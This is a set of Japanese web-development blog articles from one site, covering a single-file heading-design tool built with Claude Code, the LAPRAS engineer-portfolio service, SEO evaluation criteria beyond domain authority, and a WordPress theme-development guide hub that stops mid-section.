HTMLファイル1つで完結。ビルドツール不要 WordPressのブロックエディタでは再現できないデザイン（グラデーションボーダー、マーカー風、リボン、ストライプ背景、CSSアニメーションなど）に絞っているのがポイントです。 実際に使ったプロンプト Claude Codeに投げたプロンプトはこれだけです。 ブログの見出しデザインをプレビューできるWebアプリを1つのHTMLファイルで作ってください。 要件： - 見出しデザインを10パターン以上用意 - CSSアニメーション付きのパターンも含める - 各デザインのHTML+CSSをワンクリックでコピーできるボタン - WordPressのカスタムHTMLブロックにそのまま貼れる形式で出力 - 左カラムにテキスト入力・HTMLタグ選択、右カラムにプレビュー一覧の2カラムレイアウト - レスポンシブ対応 - Noto Sans JPフォント使用 このプロンプト1つで、約800行のHTMLファイルが生成されました。フレームワークもビルドツールも使わず、ブラウザでファイルを開くだけで動きます。 Claude Codeはどう動いたか プロンプトを受け取ったClaude Codeは、以下の順序でアプリを組み立てました。 HTML構造の作成 — ヘッダー、2カラムレイアウト、カード型のプレビューエリア CSSスタイルの定義 — 14種類の見出しデザイン（静的7種 + アニメーション7種） JavaScriptの実装 — テキスト入力の反映、CSSコピー機能、コード表示のトグル レスポンシブ対応 — スマホでは1カラムに自動切替 特筆すべきは、CSSアニメーション付きのデザインでは@keyframesや::after擬似要素が必要になるため、コピー出力を自動的に「HTML+CSSセット」形式に切り替えている点です。インラインスタイルでは表現できないデザインを正しく判定して、出力形式を変えています。 やり取りで調整したポイント 1回のプロンプトで基本形は完成しますが、そこから会話で微調整していきます。実際のやり取りを紹介します。 1. WordPressブロックエディタと重複するデザインの除外 最初の出力には「左ボーダー」「背景色」など、WordPressのブロックエディタで標準機能として設定できるデザインが含まれていました。ツールの価値を高めるため、ブロックエディタでは再現困難なデザインだけに絞り込みました。 2. タイピングカーソルの表示位置 タイピングカーソル風のアニメーションで、カーソル（点滅する縦線）がテキストの末尾ではなく、行の右端に表示されてしまう問題がありました。原因はCSSのwidth: 100%が効いていたためで、display: inlineとwidth: autoを指定して修正しました。 3. アニメーションのリピート設定 最初の出力では、アニメーションが1回再生して止まるものが混在していました。ブログに貼る見出しとしては常に動いている方が自然なので、すべてanimation: ... infiniteのリピート再生に統一しました。 非エンジニアがClaude Codeでアプリを作るコツ 今回の経験から、プログラミング未経験でもアプリを作るためのポイントをまとめます。 「1ファイルで完結」を指定する 「HTMLファイル1つで作って」と指示するだけで、React・Vue等のフレームワークを使わないシンプルな構成になります。ファイルをダブルクリックすればブラウザで動くので、開発環境のセットアップが不要です。 要件を箇条書きで伝える 「いい感じに作って」ではなく、欲しい機能を箇条書きで列挙します。曖昧な指示だとAIが勝手に判断して、必要のない機能が入ったり、逆に必要な機能が抜けたりします。 完成後の修正は日本語で伝えるだけ 「タイピングカーソルをテキストの末尾に表示して」「アニメーションをリピートにして」など、修正指示も日本語で伝えれば対応してくれます。コードを読む必要はありません。 デプロイまでAIに任せる GitHub Pagesへのデプロイ（公開）もClaude Codeが対応します。「GitHub Pagesで公開して」と伝えれば、リポジトリ作成からデプロイ設定まで自動で進めてくれます。完成物がURLで共有できる状態になるまで、ターミナル操作は不要です。 技術構成 項目内容使用言語HTML / CSS / JavaScript（バニラ）ファイル数1ファイル（index.html）行数約800行フレームワークなしビルドツールなしホスティングGitHub Pages（無料）AIClaude Code CodeQuest.workで公開中の全ツールは「Web制作の無料ツール10選｜レイアウト・コード比較・SEO診断・デザイン」でまとめて紹介しています。 よくある質問 Q. Claude Codeは無料で使えますか？ Claude Codeの利用にはAnthropicの有料プラン（Claude Pro：月額20ドル〜）が必要です。無料プランでは使用できません。 Q. プログラミングの知識がなくても使えますか？ はい。日本語でやりたいことを伝えるだけで、コードの生成からファイル作成まで自動で行います。エラーが出た場合も、画面に表示された内容をそのまま伝えれば修正してくれます。 Q. 見出しデザインをWordPressで使うにはどうすればいいですか？ ツールの「HTML+CSS」ボタンでコピーした内容を、WordPressのブロックエディタで「カスタムHTML」ブロックを追加し、そこに貼り付けるだけです。 Q. GitHub Pagesの公開は無料ですか？ はい。GitHubアカウント（無料）があれば、GitHub Pagesで静的サイトを無料でホスティングできます。独自ドメインの設定も可能です。 Q. このツールのソースコードは公開されていますか？ はい。GitHubで公開しています。 関連コンテンツ CSS実装テクニック集【基礎・レイアウト・アニメーション・設計手法】 CSS Grid Generator｜直感操作でグリッドレイアウトを生成 WordPressプラグイン「ORECTIC SEO CHECK」｜管理画面からSEO診断 HTML/CSS練習問題20選｜初心者向けコーディング実践課題集 【検証】AIが作ったツールをそのまま公開する前に確認すること 動くものができると、そのまま公開したくなります。ただしAIが生成したコードは「自分の手元のブラウザで動く」ところまでしか保証されていません。公開前に4点だけ確認してください。 公開前チェックと合否ライン スマートフォンの実機で開く。合否＝横スクロールが出ず、ボタンが指で押せるサイズであること。1ファイル構成のツールはPC前提で作られがちです ブラウザのコンソールを開いたまま一通り操作する。合否＝エラーが1件も出ないこと。見た目が動いていても裏でエラーが出ていることがあります 公開URLで直接開く（ローカルファイルではなく）。合否＝ローカルと同じ挙動になること。相対パスや外部リソースの読み込みはここで初めて壊れます 生成されたコードにライセンス表記のある外部コードが混ざっていないか確認する。合否＝出所不明のライブラリやコピー由来のコードが含まれていないこと 2番目が特に効きます。AIは「動いているように見える」状態でも平気で完成報告をします。コンソールを開いたまま操作するだけで、握りつぶされたエラーや存在しない要素へのアクセスが見つかります。DevToolsの使い方はChrome DevToolsで仮説と検証を回す手順にまとめています。 問題が出たときのAIへの伝え方 症状効かない伝え方効く伝え方スマホで崩れる「スマホで見づらい」「幅375pxで横スクロールが出る。◯◯の要素がはみ出している」コンソールにエラー「エラーが出る」エラーメッセージを丸ごと貼る公開後だけ動かない「公開したら動かない」「ローカルでは動くが、GitHub Pagesでは◯◯が読み込めていない」意図と違う挙動「思ってたのと違う」「◯◯したときに△△になるが、□□になってほしい」 共通しているのは「症状ではなく再現条件を伝える」ことです。非エンジニアでもここさえ守れば、修正の往復回数は大きく減ります。 まとめ Claude Codeを使えば、プロンプト1つでHTMLファイル1つのWebアプリが作れます。今回作った「見出しデザイン プレビューア」は、プロンプト投入から公開まで実質的な作業時間は数十分でした。 ポイントは「1ファイルで完結」「要件を箇条書き」「修正も日本語で」の3つ。非エンジニアでも、自分だけのWebツールを作って公開できる時代になりました。 ぜひオリジナルアプリをつくってみてください。 👉 この記事はAI時代のWeb制作完全ガイドの一部です。AIコーディングからAI検索最適化まで、関連記事を体系的にまとめています。 ### [LAPRASとは？エンジニアスキルを可視化して成長に繋げる方法](https://codequest.work/lapras-guide/) LAPRASとは、エンジニアの技術的なアウトプット（GitHub・技術記事・イベント登壇など）をAIが自動収集・分析し、スキルを数値化するポートフォリオ自動生成サービスです。無料で利用でき、自分の市場価値を客観的に把握できます。 「自分のスキルって今どのくらいなんだろう？」「ポートフォリオを作りたいけど、更新が面倒で続かない」——WEBエンジニアとして学習を続けていると、こんな悩みに直面することがあります。LAPRASはそんな課題を自動で解決してくれるサービスです。この記事では、LAPRASの機能・始め方・活用のコツを解説します。 LAPRASとは？ LAPRAS（ラプラス）は、エンジニアの技術活動をAIが自動で収集・分析し、ポートフォリオとスキルスコアを自動生成するサービスです。株式会社LAPRASが運営しています。 GitHubのコミット履歴、Qiitaやnoteの技術記事、connpassやDoorkeeperの登壇・参加履歴など、複数のプラットフォームに散らばったアウトプットを1つのプロフィールページにまとめてくれます。 個人エンジニアは完全無料で利用できます。企業向けには採用支援のスカウトサービスが提供されていますが、エンジニア個人が利用する範囲では一切費用がかかりません。 LAPRASの主な機能 スキルスコアの自動算出 LAPRASは登録エンジニアのデータと求人市場の情報をもとに、スキルを数値化します。LAPRAS公式サイトでは、主に次の2つのスコアが提示されています。 技術力スコア：公式サイトによるとGitHub・技術記事・技術イベント・スキルタグの4項目で評価される 市場価値スコア：職務経歴やスキルセットをもとに、転職市場での評価を数値化 スコアは「エンジニアの上位○○%」という形でも表示されるため、自分の現在地を客観的に把握できます。スコアが上がると通知が届くので、日々のアウトプットのモチベーション維持にもつながります。 ポートフォリオの自動生成 LAPRASに登録してアカウントを連携するだけで、以下の情報が自動的にポートフォリオページに反映されます。 GitHubリポジトリ一覧と使用言語の割合 技術記事の一覧（Qiita・note・Zennなど） イベントの参加・登壇履歴 Activity Log（年間のアウトプット量をグラフで可視化） スキルタグ（使用技術の一覧） 手動でポートフォリオサイトを作成・更新する手間がなくなるのが大きなメリットです。GitHubにpushしたり、記事を公開したりするだけで、ポートフォリオが自動的に最新の状態に更新されます。 AI記事レビュー機能 ブログ記事の内容をLLM（大規模言語モデル）がチェックし、LAPRAS独自の評価ロジックで記事の品質をスコアリングしてくれます。改善提案も表示されるため、技術記事のクオリティ向上に役立ちます。 連携できるサービス一覧 LAPRASは以下のサービスと連携し、アウトプットを自動で収集します。 サービス収集される情報GitHubリポジトリ、コミット履歴、使用言語Qiita技術記事、いいね数Zenn記事、本note技術記事teratailQ&A回答X（Twitter）技術関連のポストconnpassイベント参加・主催履歴Speaker Deck登壇スライドDoorkeeperイベント参加・主催履歴 WEBエンジニアであれば、最低限GitHubと技術記事サービス（Qiita / Zenn / noteのいずれか）を連携しておくと、ポートフォリオとしての情報量が充実します。GitHubの使い方から固めたい場合はGitHub入門ガイドを参照してください。 WEBエンジニアがLAPRASを使うべき3つの理由 1. アウトプットが数値化される 「GitHubに毎日コミットしている」「技術記事を月に2本書いている」——こうした努力は、数値化されないと継続のモチベーションが保ちにくいものです。LAPRASのスコアは、あなたのアウトプットが確実に評価されていることを可視化してくれます。 スコアが上がったときの通知は、日々の学習を続ける原動力になります。 2. ポートフォリオが勝手に更新される 自作のポートフォリオサイトは、作った直後は充実していても、忙しくなると更新が止まりがちです。LAPRASなら、普段どおりGitHubにpushしたり記事を書いたりするだけで、ポートフォリオが自動的に最新の状態を保ちます。 転職活動をしていなくても、「自分の活動記録」として持っておく価値があります。 3. 自分の市場価値を客観的に知れる 「エンジニアの上位○○%」という指標は、自分の現在地を知る上で強力な手がかりになります。特にWEBエンジニアとしてスキルアップ中の方にとっては、「今の自分がどこにいるのか」を定期的に確認することで、学習の方向性を見直すきっかけになります。 また、技術力だけでなくビジネス観点の指標も出るため、エンジニアとしての総合的な立ち位置を把握できます。 LAPRASの始め方 LAPRASの登録から活用開始までの手順は以下のとおりです。 公式サイトにアクセス：LAPRASの公式サイト（lapras.com）にアクセスし、「無料で登録」をクリック アカウント作成：メールアドレスまたはGitHubアカウントで登録 外部サービスを連携：GitHub、Qiita、Zenn、Xなど、自分が利用しているサービスのアカウントを連携 プロフィールを確認：自動収集されたアウトプットとスコアを確認。職務経歴を手動で追加するとスコアの精度が上がる 公開設定を調整：ポートフォリオの公開範囲を「全体公開」「限定公開」「非公開」から選択 登録自体は5分程度で完了します。外部サービスの連携後、データの収集・分析に少し時間がかかる場合がありますが、基本的には登録直後からスコアとポートフォリオを確認できます。 スコアを上げるための活用のコツ LAPRASのスコアは、アウトプットの「量」と「質」の両方で評価されます。以下のポイントを意識すると、スコアの向上につながります。 GitHubでの活動を増やす 学習用のリポジトリでもpublicにしてコミットを継続する READMEをしっかり書く（プロジェクトの目的・使い方・技術スタック） 個人開発でもIssueやPull Requestを活用して開発プロセスを見える化する 技術記事を定期的に書く 学んだことのアウトプットをQiita・Zenn・noteで継続する LAPRASのAI記事レビュー機能を活用して記事の品質を改善する 特定の技術領域に絞って深掘りした記事を書くと、専門性が評価されやすい スキルタグを整理する 自分が得意・学習中の技術をスキルタグとして追加する 使っていない技術タグは外して、プロフィールの精度を高める LAPRASが向いている人・向いていない人 向いている人向いていない人GitHubや技術ブログでアウトプットしているアウトプットの習慣がまだない自分のスキルを客観的に把握したいスコア化されること自体にストレスを感じるポートフォリオ更新を自動化したい自作のポートフォリオサイトにこだわりたい学習のモチベーションを維持したい転職目的でのみポートフォリオを使いたい 「向いていない人」に当てはまる場合でも、アウトプットを始めるきっかけとしてLAPRASに登録してみるのは有効です。スコアが0からどう変化するかを見ること自体が、学習のモチベーションになります。 よくある質問（FAQ） Q. LAPRASは本当に無料で使えますか？ はい、エンジニア個人向けの機能はすべて無料で利用できます。スコア確認、ポートフォリオ生成、AI記事レビューなど、個人利用に費用は一切かかりません。 Q. LAPRASに登録すると企業からスカウトが届きますか？ 転職意欲の設定をオンにしている場合、企業からスカウトが届く可能性があります。転職活動をしていない場合は、設定でスカウトをオフにできるので安心してください。 Q. GitHubのプライベートリポジトリもスコアに反映されますか？ いいえ、LAPRASが収集するのはパブリックリポジトリの情報のみです。プライベートリポジトリの内容は収集されません。スコアに反映したい活動はパブリックで行いましょう。 Q. WEB制作（HTML/CSS中心）のエンジニアでもスコアは出ますか？ はい、出ます。LAPRASはGitHubのコミットや技術記事など幅広い活動を評価対象にしているため、使用言語に関わらずアウトプットがあればスコアに反映されます。 Q. ポートフォリオページを他の人に共有できますか？ はい、公開設定を「全体公開」にすれば、URLを共有するだけで誰でも閲覧できます。就職・転職活動時の自己紹介や、SNSのプロフィールリンクとしても活用できます。 【検証】連携とスコアが本当に反映されているか確かめる 登録して連携した「つもり」で止まっているケースが最も多いです。アウトプットを増やす前に、まず反映されているかを確認してください。反映されていない状態で記事を書き続けても、スコアには一切載りません。 確認の手順と合否ライン 自分のポートフォリオページを、ログアウト状態で開く（シークレットウィンドウ）。合否＝GitHubのリポジトリと技術記事の両方が表示されていること 技術力スコアの内訳を見る。合否＝GitHub・技術記事・技術イベント・スキルタグの4項目すべてに値が入っていること（0の項目が伸びしろ） 直近に書いた記事が載っているか探す。合否＝公開から数日以内の記事が一覧に出ていること スキルタグを確認する。合否＝実際に使える技術と一致していること（身に覚えのないタグが付いていたら整理する） 1番目をログアウト状態で確認するのが要点です。ログイン中は自分にだけ見えている情報が混ざるため、企業やスカウト担当が実際に見る状態と一致しません。 反映されていなかった場合 症状考えられる原因次の一手GitHubの活動が出ない連携が切れている、または公開リポジトリがない連携し直す。プライベートのみなら公開リポジトリを作る技術記事が出ない記事サービスのアカウントが未連携／別アカウント連携アカウントのIDを確認するスコアが動かない反映に時間差がある、または量が閾値に届いていない数週間の単位で見る。単発では動かないスキルタグがずれている記事やリポジトリの内容から自動推定されているタグを手動で整理する 技術記事の書き方そのものは技術ブログを検索で見つけてもらう方法にまとめています。スコアを上げる近道は「書く量を増やす」ことではなく、書いたものが正しく収集される状態を先に作ることです。 まとめ LAPRASは、エンジニアのアウトプットを自動で可視化し、スキルを数値化してくれる無料サービスです。WEBエンジニアとして成長を続けている方にとって、以下のメリットがあります。 GitHubや技術記事のアウトプットが自動でポートフォリオになる スキルスコアで自分の現在地を客観的に把握できる スコアの変化がモチベーション維持につながる 無料で始められ、維持コストもゼロ 「アウトプットしているけど、それが自分のスキルにどう反映されているかわからない」——そう感じたら、まずはLAPRASに登録してみてください。自分のエンジニアとしての現在地が見えてくるはずです。 ### [ドメインパワーより大事なSEO評価基準4つ｜Web制作初心者が本当に見るべき指標](https://codequest.work/seo-metrics-beginners-guide/) この記事を読む前に「ドメインパワーはそもそもGoogleの公式指標なのか？」という疑問をお持ちの方は、まずGoogle公式ソースによるファクトチェック記事をご覧ください。Google社員の公式発言とツール会社自身の声明をもとに検証しています。 ドメインパワーの正体を30秒で理解する ドメインパワー（Domain Authority / Domain Rating）は、MozやAhrefsなどのSEOツール会社が独自に算出したスコアです。Googleのランキングアルゴリズムには使われておらず、Google社員も繰り返し否定しています。 にもかかわらず、多くのSEO記事が「ドメインパワーを上げれば順位が上がる」と書いています。初心者がこの情報を鵜呑みにすると、本来やるべきSEO施策を後回しにして、スコア上げに時間を浪費するリスクがあります。 では、初心者が本当に見るべき指標は何なのか。Googleが公式に認めている評価基準を4つに整理しました。 ドメインパワーと正しいSEO評価基準の違い 比較項目ドメインパワー（DA/DR）Googleの評価基準算出元Moz・Ahrefs等（サードパーティ）Google検索アルゴリズム評価単位ドメイン全体に1つのスコアページ単位・トピック単位Googleへの影響なし（Google公式が否定）直接影響する自分で改善可能か間接的（被リンク依存）直接改善できる項目が多い 重要なのは因果の方向です。「ドメインパワーを上げる→順位が上がる」ではなく、「サイトの品質を上げる→結果としてドメインパワーも上がる」が正しい順序です。 この「品質が先、ドメインパワーは後」という因果は、実測でも確認できます。ドメインパワーの高いサイトを、たった1ページの品質だけで逆転したケースの観測データがあります。→ ドメインパワーが低くても上位は取れるか｜1ページで高DAサイトを逆転した観測 初心者が本当に見るべき4つのSEO評価基準 以下の4つは、いずれもGoogleが公式ドキュメントで言及している評価基準です。ドメインパワーと違い、すべて自分でコントロールできるのが最大の違いです。 1. テクニカルSEO 検索エンジンがサイトを正しくクロール・インデックスできる技術的な土台です。 robots.txt：クロールの許可・制限が正しく設定されているか XMLサイトマップ：全ページが登録され、Search Consoleに送信されているか canonical設定：重複コンテンツが正規URLに統合されているか HTTPS：SSL証明書が有効で、HTTPからリダイレクトされているか モバイル対応：レスポンシブデザインでモバイルフレンドリーか hreflang：多言語サイトの場合、言語タグが正しく設定されているか テクニカルSEOは「減点を防ぐ」施策です。ここに問題があると、どれだけ良いコンテンツを書いても検索エンジンに正しく評価されません。 2. 構造化データ（JSON-LD） 構造化データは、ページの内容を検索エンジンに機械可読な形式で伝えるマークアップです。Google公式の構造化データガイドで推奨されています。 Article：記事のタイトル・著者・公開日をマークアップ FAQPage：よくある質問を構造化し、質問と回答の対応関係を機械可読にする（検索結果のFAQ表示は2026年5月に終了） BreadcrumbList：パンくずリストを検索結果に表示 HowTo：Google検索では廃止済み。手順は番号付きリストで構造を示す Organization / Person：著者・組織の信頼性シグナル 構造化データが正しく実装されたページは、AI Overview（AIO）やリッチスニペットに引用されやすくなります。Googleの検索結果で目立つ表示を得るための重要な施策です。 3. Core Web Vitals（ページ体験） Core Web Vitalsは、Googleが公式にランキング要因として明言しているユーザー体験の指標です。 指標意味基準値LCP（Largest Contentful Paint）最大コンテンツの表示速度2.5秒以内INP（Interaction to Next Paint）インタラクション応答速度200ms以内CLS（Cumulative Layout Shift）レイアウトのずれ0.1以下 PageSpeed Insightsで自分のサイトを測定し、赤い指標（Poor）がある場合は優先的に改善してください。画像の最適化・不要なJavaScriptの削減・フォント読み込みの最適化が主な改善ポイントです。 4. コンテンツ品質（E-E-A-T） E-E-A-Tは、Googleの検索品質評価ガイドラインで定義されたコンテンツ品質の評価観点です。 Experience（経験）：実際に体験した知見が含まれているか Expertise（専門性）：トピックに関する専門知識が示されているか Authoritativeness（権威性）：そのトピックで信頼される情報源か Trustworthiness（信頼性）：サイト全体が信頼できるか E-E-A-T自体は直接的なランキング要因ではなく「品質評価の観点」ですが、Googleのアルゴリズムはこれらの観点を反映するシグナルを多数使用しています。著者情報の明記、出典の提示、独自の経験に基づくコンテンツ制作がポイントです。 4つの基準をセルフチェックする方法 各基準を自分でチェックする方法を一覧にまとめました。 チェック項目無料ツール確認方法テクニカルSEO全般Google Search Console「ページ」→インデックス状況・エラー確認モバイル対応Mobile-Friendly TestURLを入力して判定結果を確認Core Web VitalsPageSpeed InsightsURLを入力してLCP・INP・CLSを測定構造化データリッチリザルトテストURLを入力して構造化データの有無と正当性を確認HTTPS・canonicalブラウザのDevToolsアドレスバーの鍵マーク、ソースコードのlink rel=canonical ただし、これらを個別にチェックするのは手間がかかります。テクニカルSEO・構造化データ・Core Web Vitalsをまとめて診断できるツールを使えば、改善すべきポイントが一目でわかります。 Direbaseで一括診断する Direbaseは、この記事で紹介した4つの評価基準を46項目で一括診断できるSEOチェックツールです。 テクニカルSEO：robots.txt・canonical・HTTPS・モバイル対応など8項目 構造化データ：JSON-LDの実装状況と正当性を検証 Core Web Vitals：LCP・INP・CLSの実測値と改善提案 コンテンツ品質：メタタグ・見出し構造・画像alt属性をチェック URLを入力するだけで診断が完了し、各項目のスコアと具体的な改善提案が表示されます。ドメインパワーのスコアも参考値として表示しますが、改善アクションにつながるテクニカル指標を重視した設計です。 ▶ Direbaseで自分のサイトを診断する 【検証】4基準の現在地を1週間で測る 4つの基準はそれぞれ測る道具が違います。まとめて「SEOができているか」で見ると、どこが足を引っ張っているか分かりません。1つずつ数値を出してください。 基準別の測り方と合否ライン 基準測る場所合否ラインテクニカルSEOSearch Console「ページ」レポートインデックス率が8割以上構造化データリッチリザルトテスト／Search Consoleの拡張レポートエラー0でアイテムが検出されるCore Web VitalsSearch Console「ウェブに関する主な指標」「不良」のURLが0件コンテンツ品質記事を1本開いて目視著者名が見え、数値に出典があり、更新日が出ている 順番も重要です。テクニカルSEOが不合格のうちは、他の3つを直しても検索結果に反映されません。インデックスされていないページは、構造化データを入れてもCore Web Vitalsを直しても評価対象にならないからです。 これから作るサイトなら、この順番は制作の初日にまとめて片付けられます。AI検索側のクローラー許可まで含めた着手順はGEO・AIO対策の着手順を参照してください。 不合格だった基準への次の一手 不合格の基準まず直すことテクニカルSEO「クロール済み・未インデックス」のページを特定し、内容の薄さか重複を解消する構造化データ記事にArticle、著者にPerson、運営者にOrganizationを実装するCore Web Vitals不良URLのグループを見て、共通するテンプレート要素を疑うコンテンツ品質著者情報の表示と出典リンクをテンプレートに組み込む Core Web Vitalsの読み方はCore Web Vitals改善ガイド、E-E-A-Tの正確な位置づけはE-E-A-Tとは？、SEO全体の進め方はSEO対策ガイドにまとめています。 まとめ ドメインパワーは業界の共通言語として定着していますが、Googleの公式指標ではありません。初心者がSEOを始めるなら、自分でコントロールできる4つの評価基準に集中するのが最も効率的です。 テクニカルSEO：検索エンジンがサイトを正しく認識できる技術的な土台 構造化データ：コンテンツの意味を機械可読に伝えるマークアップ Core Web Vitals：Googleが公式に認めたユーザー体験指標 コンテンツ品質（E-E-A-T）：経験・専門性・権威性・信頼性の観点 サイトの品質を上げれば、ドメインパワーは結果として後からついてきます。まずはDirebaseで自分のサイトの現状を把握し、改善できるポイントから着手してみてください。 技術ブログを運営している方は、この4つの評価基準を記事単位でどう実装するかを技術ブログが検索で読まれない原因と記事設計で具体的に解説しています。 よくある質問（FAQ） Q. ドメインパワーのスコアは完全に無意味ですか？ 完全に無意味ではありません。被リンクの質と量を独自アルゴリズムで数値化したもので、競合との相対比較の参考値として活用できます。ただしGoogleのランキングとは直接連動しないため、スコア向上を目的にする施策（被リンク購入など）は推奨しません。サイト品質の改善に注力した結果としてスコアが上がるのが健全な状態です。 Q. SEO初心者が最初にやるべきことは何ですか？ まずGoogle Search Consoleに自分のサイトを登録し、XMLサイトマップを送信してください。次にPageSpeed Insightsでcore Web Vitalsを測定し、赤い指標があれば優先的に改善します。テクニカルSEOの土台を整えた上で、検索意図に合った質の高いコンテンツを作成するのが最も効率的な順序です。 Q. 構造化データを入れるとSEO順位は上がりますか？ 構造化データ自体は直接的なランキング要因ではありませんが、検索結果にリッチリザルト（パンくずリスト・レビュー・商品情報等）が表示されることでクリック率（CTR）が向上し、間接的に評価が高まる効果があります。なおFAQとHowToのリッチリザルトはすでに終了しているため、この2つはCTR目的では計算に入れないでください。また、AI OverviewやGoogle Discoverへの露出機会が増えるため、トラフィック全体の増加につながります。 Q. E-E-A-Tはどうやって改善すればいいですか？ 著者情報をプロフィールページとJSON-LDで明記し、記事内で引用するデータには出典を添えてください。自分の実務経験に基づく独自の知見を含めることで「Experience（経験）」を示せます。 ### [WordPress実践ガイド【テーマ開発・CF7・サーバー構築まで全20記事】](https://codequest.work/wordpress-guide/) WordPressのテーマ開発は、環境構築 → テンプレート実装 → 機能カスタマイズ → 運用・SEO の4段階で進めます。このページは、その4段階それぞれについて「どこまで到達できていれば次に進んでよいか」を画面で確認できる形に落とし込み、落ちた段階から読むべき記事を1本ずつ対応づけたハブです。 WordPressでつまずくとき、原因は「知識が足りない」ことよりも「いま自分がどの段階にいるかが分かっていない」ことにあります。まずは次の到達判定チェックで現在地を確定させ、落ちた段階に対応するセクションへ進んでください。これから初めてテーマを自作するなら、オリジナルテーマ作成ガイドを通しで読むのが最短です。 すでに公開済みのサイトを運用中で、まず現状を数値で把握したい場合は Direbase（ディレベース） にURLを入力すると、構造化データ・メタタグ・見出し構造をまとめて診断できます。 このガイドの歩き方｜4段階の現在地を判定する 4段階とは、段階1＝環境構築（WordPressが動く場所を用意する）、段階2＝テーマ開発（自分のテーマファイルが読み込まれる状態にする）、段階3＝機能カスタマイズ（管理画面で入れた値をフロントに出す）、段階4＝運用・SEO（公開して検索エンジンに正しく伝える）の4つです。前の段階が完了していないまま次に進むと、原因の切り分けができなくなります。 下表の合否ラインは、すべて画面で確認できる観測事実だけで書いています。「理解できたか」のような自己申告は入れていません。落ちた段階が見つかったら、その行の記事を1本だけ読んでこのページに戻ってきてください。判定は1往復で止まります。 到達判定チェック 段階合否ライン（画面で確認できること）落ちたときに読む1本1. 環境構築ローカル環境でWordPressが起動し /wp-admin にログインできる。テーマを切り替えてもフロントが白画面にならないオリジナルテーマ作成ガイド2. テーマ開発style.css と index.php だけを入れた空フォルダを wp-content/themes/ に置くと「外観 > テーマ」に自作テーマとして表示され、有効化するとトップページが表示される。さらにブラウザのDevToolsのNetworkタブで自作の style.css がステータス200で読まれ、URLに ?ver= が付いているCSSを正しく読み込む方法3. 機能カスタマイズ管理画面で入力したカスタムフィールドの値が、再読み込み後のフロントに表示される。さらに値を空にすると表示も消えるカスタムフィールド徹底解説4. 運用・SEO本番URLが https で表示され、投稿ごとにSEOタイトル・メタ説明を管理画面から設定でき、Search Consoleのサイトマップが「成功」ステータスになっている投稿にSEOタイトル・メタ欄を自作する方法 段階2の ?ver= は、このガイドで一番使い勝手のよい判定材料です。?ver= が付くのは wp_enqueue_style() の第4引数 $ver の既定値が false で、このときWordPressが現在のバージョン番号をクエリ文字列として自動的に付けるためです（null を明示的に渡した場合だけ付きません）。出典: wp_enqueue_style() – WordPress Developer Resources。逆に <link> タグをテンプレートに直書きしただけのCSSにはWordPressが介在しないため ?ver= が付きません。つまりURLに ?ver= が付いているかどうかだけで、テーマのCSSがWordPressの読み込み機構を通っているかを見分けられます。見た目が正しく表示されていても、直書きのままだと子テーマ化やプラグインとの依存解決ができず、段階3以降で必ず行き詰まります。 段階4は判定項目が3つあります。https で表示されない・本番に上がらないというサーバー側で落ちた場合は、案件で最初にやるサーバー設定 が対応する1本です。SEOタイトルやメタ説明の欄そのものが管理画面に無い場合は上表の記事へ進んでください。 ハマりどころ｜症状から原因が一つに決まる3件 症状（画面で見えること）原因読む1本wp-content/themes/ にフォルダを置いたのに「外観 > テーマ」に出てこないstyle.css 冒頭のコメントヘッダに Theme Name: が無い。WordPressはこのヘッダを読んでテーマ一覧を組み立てるため、ヘッダが無いフォルダはテーマとして認識されないオリジナルテーマ作成ガイドCSSを書き換えても表示が変わらず、Networkタブで style.css のURLに ?ver= が付いていない<link> タグを直書きしていて wp_enqueue_style() を経由していないCSSを正しく読み込む方法カスタムフィールドの値を空にしても、フロントの文字が消えないテンプレート側に文字列が直書きされていて、フィールドの値を出力していないカスタムフィールド徹底解説 1件目の根拠は公式ドキュメントに明記されています。WordPressは style.css のヘッダコメント部分を読み取って、管理画面の「外観（テーマ）」に情報を表示します（出典: Main Stylesheet (style.css) – WordPress Developer Resources）。ファイル名や置き場所が正しくても、ヘッダが無ければ一覧には出ません。原因が分かったらそこで手を止め、詳細は対応する1本で確認してください。 テーマ開発の基礎 段階1〜2に対応するセクションです。テンプレートの構造、CSS・JavaScriptの読み込み、パス指定という「自作テーマがWordPressに認識される条件」をここで押さえます。段階2の判定に落ちた人は、まずこの中の読み込み系2本を先に読んでください。 オリジナルテーマ作成ガイド — 環境構築からテンプレートファイル実装まで、一連の流れを通しで解説 既存テーマ vs オリジナルテーマ — 案件でどちらを選ぶかの判断基準をメリット・デメリットで比較 CSSを正しく読み込む方法 — linkタグ直書きと wp_enqueue_style の違い、?ver= が付く仕組み JavaScriptを正しく読み込む方法 — wp_enqueue_script の使い方と読み込み位置・条件分岐 パス指定の徹底解説 — 相対パスと絶対パスの違い、テーマ関数の使い分け functions.php便利コード集 — テーマカスタマイズで使える実践的なコードスニペット WordPress関数一覧 — テーマ・プラグイン開発向けの使用例付きリファレンス テンプレートファイルの実装 テーマが認識されたあと、実際にページを組み立てる各ファイルを1本ずつ深掘りするセクションです。土台になるのはWordPressループの仕組みで、single.php も archive.php もこのループの上に乗っています。順番に迷ったらループ → header/footer → single → archive → カスタム投稿タイプの順が安全です。 なおカスタム投稿タイプを登録したのに一覧ページのURLが404になる場合、原因の筆頭は register_post_type() の has_archive が既定値の false のままであることです（出典: register_post_type() – WordPress Developer Resources）。 WordPressループの仕組み — have_posts と the_post の役割。全テンプレートの共通土台 header.php と footer.php の作り方 — 共通パーツの切り出しと読み込み方法 single.php の使い方 — 個別投稿ページのテンプレート作成とカスタマイズ archive.php の使い方 — 一覧ページのカスタマイズと functions.php との連携 カスタム投稿タイプの作り方 — register_post_type の設定項目と実装手順 問い合わせフォーム（Contact Form 7） 問い合わせフォームの定番プラグインです。設置手順・タグ一覧・固定ページへの埋め込み・自動返信が迷惑メールに入るときの対策は、すべてContact Form 7 完全ガイドの1本にまとまっています。以前は項目ごとに記事を分けていましたが、設定が相互に依存していて行き来が発生するため統合しました。情報が減ったわけではないので、CF7に関することはまずこの1本を開いてください。 Contact Form 7 完全ガイド — 設置・タグ一覧・固定ページ設置・自動返信・迷惑メール対策までを1本で解説 reCAPTCHA導入手順 — CF7と自作PHPフォームの両方に効くスパム防止設定 カスタマイズ・拡張 段階3に対応するセクションです。カスタムフィールドで「管理画面から入れた値をフロントに出す」流れを作れると、案件で求められるページの大半は組めるようになります。段階3の判定（値を空にすると表示も消える）に落ちた場合はここから読んでください。 カスタムフィールド徹底解説 — 値の登録から出力まで、もう一歩進んだ情報追加術 ACFで管理画面をカスタマイズ — 投稿一覧にカスタムフィールドの列を表示する方法 画像圧縮ツールおすすめ5選 — 表示速度改善に効く画像最適化の選び方 サーバー・環境構築 